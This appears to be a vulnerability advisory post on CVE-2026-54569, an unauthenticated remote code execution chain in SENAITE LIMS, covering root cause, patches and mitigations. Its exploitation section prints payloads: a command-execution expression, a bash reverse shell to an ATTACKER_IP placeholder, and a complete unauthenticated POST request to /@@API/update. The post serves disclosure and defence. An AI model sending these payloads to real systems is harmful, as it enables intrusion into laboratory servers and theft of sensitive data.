Aug 26, 2026·7 min read·2 visits
An unauthenticated remote attacker can execute arbitrary Python code on the server hosting SENAITE LIMS by chaining missing authorization on JSON API endpoints with unsafe eval operations on record fields.
SENAITE LIMS core framework (senaite.core) versions 2.0.0 through 2.6.0 contain a critical vulnerability chain that permits unauthenticated remote code execution. By combining a Missing Authorization flaw (CWE-862) in multiple JSON API endpoints with an Unsafe Evaluation flaw (CWE-95) during custom field deserialization, an attacker can execute arbitrary Python commands. This execution occurs under the privileges of the hosting Zope process, creating severe risk to laboratory systems, physical instrumentation databases, and host system integrity.
The SENAITE Laboratory Information Management System (LIMS) is an enterprise application designed to manage complex scientific laboratory workflows. At its core, the platform relies on senaite.core, a framework extending the Plone Content Management System and the Zope application server. This structure utilizes hierarchical object storage, custom field types, and an exposed JSON API wrapper mapped to the @@API view of the application.
The vulnerability is characterized by a two-stage exploit path. First, multiple state-changing endpoints in the JSON API fail to require authentication or correct authorizations, permitting an anonymous remote attacker to interact directly with internal configuration objects. Second, when these endpoints receive data meant for complex custom fields like RecordsField or RecordField, the application deserializes the values using an unsafe python evaluation mechanism.
This chain produces unauthenticated Remote Code Execution (RCE) on the host platform. Because the insecure parsing executes before Plone checks object-level mutation permissions, the payload runs even if the final database transaction is aborted. This renders traditional access control mechanisms completely ineffective against this threat.
To understand the root cause, the architecture of the SENAITE JSON API must be analyzed. In Plone, views are registered with specific Zope permissions. In affected versions of senaite.core, the general @@API interface was bound to the permissive zope2.View role. This configuration allows anonymous users to resolve and interact with API controllers.
While the create endpoint verified object-level permissions, several core modification endpoints did not check appropriate authorizations before performing resource operations. These functions mapped directly to endpoints such as /@@API/update, /@@API/remove, and /@@API/doActionFor. This lack of permission enforcement represents a classic Missing Authorization flaw (CWE-862).
Additionally, the application uses custom Archetypes and Dexterity fields to represent structured dictionary lists. These field implementations use RecordField and RecordsField classes to process records from JSON requests. When parsing strings representing dictionaries, the application invoked Python's native eval() function directly on user-provided input strings inside the API parsing path.
Because of Zope's transaction model, if a request performs unauthorized writes, the database state-change is discarded via transaction abort. However, the evaluation of the record fields happens during input deserialization, long before the transaction validation phase. As a result, the code execution step occurs unconditionally within the active worker thread, regardless of the transaction's ultimate failure and rollback.
The code-level flaw resides primarily in the JSON API helper parsing file src/bika/lims/jsonapi/__init__.py. In this component, parameter parsing is performed in a loop over incoming request fields. The implementation specifically checks the field type name as a string and routes it to an evaluation block.
# Vulnerable code in senaite.core versions <= 2.6.0
elif fieldtype in ['senaite.core.browser.fields.records.RecordsField',
'senaite.core.browser.fields.record.RecordField']:
try:
# CRITICAL VULNERABILITY: Raw input string is executed directly
value = eval(value)
except Exception:
logger.warning(
"JSONAPI: " + fieldname + ": Invalid "
)Similar eval() blocks are duplicated in the specific field classes. For example, in src/senaite/core/browser/fields/record.py, the dynamic setter logic includes code evaluating raw string parameters.
# Vulnerable code inside record.py's set method
if type(value) in StringTypes:
try:
# Unsafe evaluation occurs when setting record field values
value = eval(value)The mitigation introduced in commit a24d65e99a17ac43c5374ed9f0a60d0fe60d2f74 resolves this by discarding native evaluation in favor of the Python Abstract Syntax Tree literal parser. The new parsing module src/senaite/core/browser/fields/parsing.py safely decodes structural data.
# Patched parsing function using safe evaluation
import ast
def parse_record_literal(value, normalize_records=False):
"""Safely parse stringified record values without executing code.
"""
if not isinstance(value, str):
return value
if normalize_records:
value = value.replace('}\n', '},')
# ast.literal_eval only processes primitive python structures, not code
return ast.literal_eval(value)In addition to parsing corrections, commit ef4b6d73575b0fbc0edc6114e5e025089aaf9eb7 added robust security gates. These checks ensure that any request attempting to use the API first matches the restrictive AccessJSONAPI permission before any input processing or deserialization begins.
Exploitation requires a sequence of four phases: discovering a target resource ID, formulating an evaluation payload, executing the API call, and triggering command execution. The first phase utilizes predictable Plone site structures. The configuration object bika_setup is present on every SENAITE site, and its unique ID (UUID) can be resolved through public API metadata paths.
Once the UUID is obtained, the attacker designs an expression payload. Because the injection point is an evaluation block, it must be a single Python expression rather than sequence statements. The attacker bypasses this restriction by using Python's built-in __import__ function to load modules and invoke OS-level subshells.
# Arbitrary system command execution payload
__import__('os').system('id')
# Reverse shell callback payload
__import__('subprocess').getoutput('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1')In the third phase, the attacker targets the vulnerable endpoint /@@API/update via an unauthenticated POST request. The request payload contains the UUID of the target object alongside the injection parameter mapped to a field of type RecordsField, such as RejectionReasons.
POST /@@API/update HTTP/1.1
Host: target-senaite-lims.local
Content-Type: application/x-www-form-urlencoded
Connection: close
obj_uid=TARGET_BIKA_SETUP_UUID&RejectionReasons=__import__('os').system('touch /tmp/vulnerable')When the application server processes this request, the JSON API router traverses to the bika_setup configuration object. It extracts the parameter RejectionReasons, recognizes the associated RecordsField class, and executes the payload inside the evaluation environment. The operating system command executes immediately, while the HTTP thread subsequently returns an authorization or schema validation error due to the database transaction failing.
The security impact of CVE-2026-54569 is classified as critical, with a CVSS v3.1 score of 9.8. Successful exploitation allows an unauthenticated network adversary to execute arbitrary system-level commands inside the context of the Zope application server worker. This compromise grants the attacker the same operational privileges as the daemon user hosting the service.
Because LIMS environments routinely store confidential experimental data, patient metadata, chemical recipes, or clinical diagnostics, an attacker can access the entire database. They can copy, modify, or permanently delete critical operational logs. Attackers can also access environment configurations containing third-party database passwords, remote LDAP credentials, and active Zope admin session cookies.
In many setups, the LIMS server resides on the same network subnet as actual laboratory instruments and physical machinery controllers. This positioning allows attackers to pivot laterally. They can use the compromised server as an internal launching point to disrupt physical processes, capture local network data, or attack adjacent administrative infrastructure.
The definitive solution to remediate this vulnerability is to upgrade the senaite.core framework to version 2.7.0 or higher. This version integrates both patch commits, replacing the dangerous eval() blocks with secure ast.literal_eval() parsers and enforcing authentication requirements across all state-altering API methods.
If immediate version upgrades are not possible, administrators should apply hotfix patches by cherry-picking the specific security commits. Commit a24d65e99a17ac43c5374ed9f0a60d0fe60d2f74 secures the data parsing logic, and commit ef4b6d73575b0fbc0edc6114e5e025089aaf9eb7 introduces the proper authorization check routines.
In scenarios where code modifications are restricted, operational workarounds must be deployed. Administrators can configure front-end reverse proxies, such as NGINX or HAProxy, or a Web Application Firewall (WAF) to restrict external access to any URIs containing /@@API/. Blocking these API patterns prevents unauthenticated external actors from interacting with the vulnerable endpoints.
# Example NGINX configuration block to restrict access to JSON API
location ~* /@@API/ {
allow 192.168.1.0/24; # Restrict access to internal subnets
deny all;
}Additionally, security teams should enforce the principle of least privilege on the system level. The Zope process must be run as a non-privileged system user that does not possess sudo privileges, limiting the scope of any potential shell access.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
senaite.core SENAITE | >= 2.0.0, <= 2.6.0 | 2.7.0 |
| Attribute | Detail |
|---|---|
| Vulnerability ID | CVE-2026-54569 |
| CWE ID | CWE-95, CWE-862 |
| Attack Vector | Network |
| CVSS Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Exploit Status | poc |
| KEV Status | false |
Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
A DOM-based Cross-Site Scripting (XSS) vulnerability was identified in SunEditor before version 3.1.4. The Embed plugin programmatically recreated and mounted script elements from raw HTML embed code, permitting remote attackers to execute arbitrary JavaScript within a user's browser session.
A Stored Cross-Site Scripting (XSS) vulnerability exists within the legacy presentation templates of the LibreNMS network monitoring system. Due to inadequate context-aware output encoding of operational data ingested via Simple Network Management Protocol (SNMP) polling, Border Gateway Protocol (BGP) notifications, and incoming Syslog messages, an administrative user viewing device dashboards can be targeted with arbitrary JavaScript execution.
CVE-2026-54614 is an unsafe reflection vulnerability in the MailPreview component of cakephp/debug_kit prior to versions 4.10.3 and 5.2.4. Unauthenticated or low-privileged remote attackers can exploit this vulnerability to dynamically resolve and instantiate arbitrary PHP classes within the Composer autoloader environment, leading to constructor and destructor execution.
An incomplete input sanitization fix in AsyncSSH version 2.23.0 allows unauthenticated remote attackers to bypass directory restriction controls and perform path-traversal attacks. When the system is configured to perform username token substitution inside its AuthorizedKeysFile directive, attackers can manipulate downstream path resolution mechanisms via tilde expansion and environment variable references. This flaw permits authentication bypasses by forcing the server to read public keys from unauthorized file locations outside the restricted environment.
CVE-2026-54591 is a high-severity path traversal vulnerability in AsyncSSH's SCP implementation prior to version 2.23.1. When an AsyncSSH-based SCP client connects to a malicious or compromised SSH server and performs a file transfer, the server can send crafted filenames containing relative path sequences. Because the client failed to validate these filenames before resolving the final storage path, a malicious server could write or overwrite arbitrary files on the client machine within the security context of the executing application. This vulnerability is mapped to GitHub Security Advisory GHSA-2wxc-x7rj-hg8f.
An unrestricted file upload vulnerability exists in the Pollen Robotics Reachy Mini robot daemon prior to version 1.8.2. Unauthenticated remote attackers can upload arbitrary files to the temporary sounds directory over the network, leading to disk pollution and staging for potential secondary local exploits.